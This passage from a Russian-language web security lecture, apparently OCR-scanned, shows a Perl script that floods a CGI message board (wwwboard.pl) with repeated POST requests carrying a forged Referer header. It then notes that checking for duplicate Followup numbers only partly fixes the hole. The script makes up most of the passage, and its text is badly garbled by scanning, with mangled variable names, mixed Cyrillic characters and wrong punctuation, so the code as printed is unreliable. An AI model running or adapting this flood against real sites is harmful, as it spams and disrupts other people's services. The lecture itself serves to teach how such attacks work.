Лекция: Сообщения, посланные не с нашего сервера но, как сказано выше, HTTP_REFERER легко подделать. На примере
следующей атаки рассмотрим использование метода POST:
#!/usr/bin/perl use Socket; $port=80:
Iremote^''www. victim, corn"; $path="/cgi-
bin/wwwboard. pi": $name=«Some name»;
$emaii=«iTry@mail»:
$subject=«great page! »; $body=«Nice page, guys!»;
'ifoUoшp='2.?.,2,2,2,2,2,2,2,2,2,2,2,r_, Itimestopost^lO;
$forminfo = «name=$naine&email=$email&followup=$followLip&subject=$subject&body=$body»; $forminfo =~
з/\,/\Уо2С/д; $forminfo='tr//+/;
$length=length($forminfo):
$submit = «POST $path HTTP/I.0\r\nReferer: $иг1\г\п». «User Agent: Mozilla/4.07
(Win95; l)\r\n». «Content-type: application/x-www-form-urlencoded\r\n». «Content-
length: $length\r\n\r\n$forminfo\r\n»;
for($i.=1; $i<=$tiniestopost: $i++) {
&post_message: print "$i message(s) posted.\n"; }
sub postJnessage {
$].addr=inet_aton($reinote) I I die( «Failed to find host: $remote»); $paddr =
sockaddr_in($port, $iaddr); $proto = getprotobyname( «tcp» );
socket(SOCK. PF_INET, SOCK_STREAH, $proto) 11 die(«Failed to open socket: $!»); connect(SOCK, $paddr)
I I die(«Unable to connect: $!»); send(SOCK,$submit,0); close(SOCK): }
Единственный способ реально <залатать> скрипт — вставить проверку повторяющихся номеров сообщений в
Followup, но и это не решит проблему окончательно.
Использование серверных приложений для атаки на клиента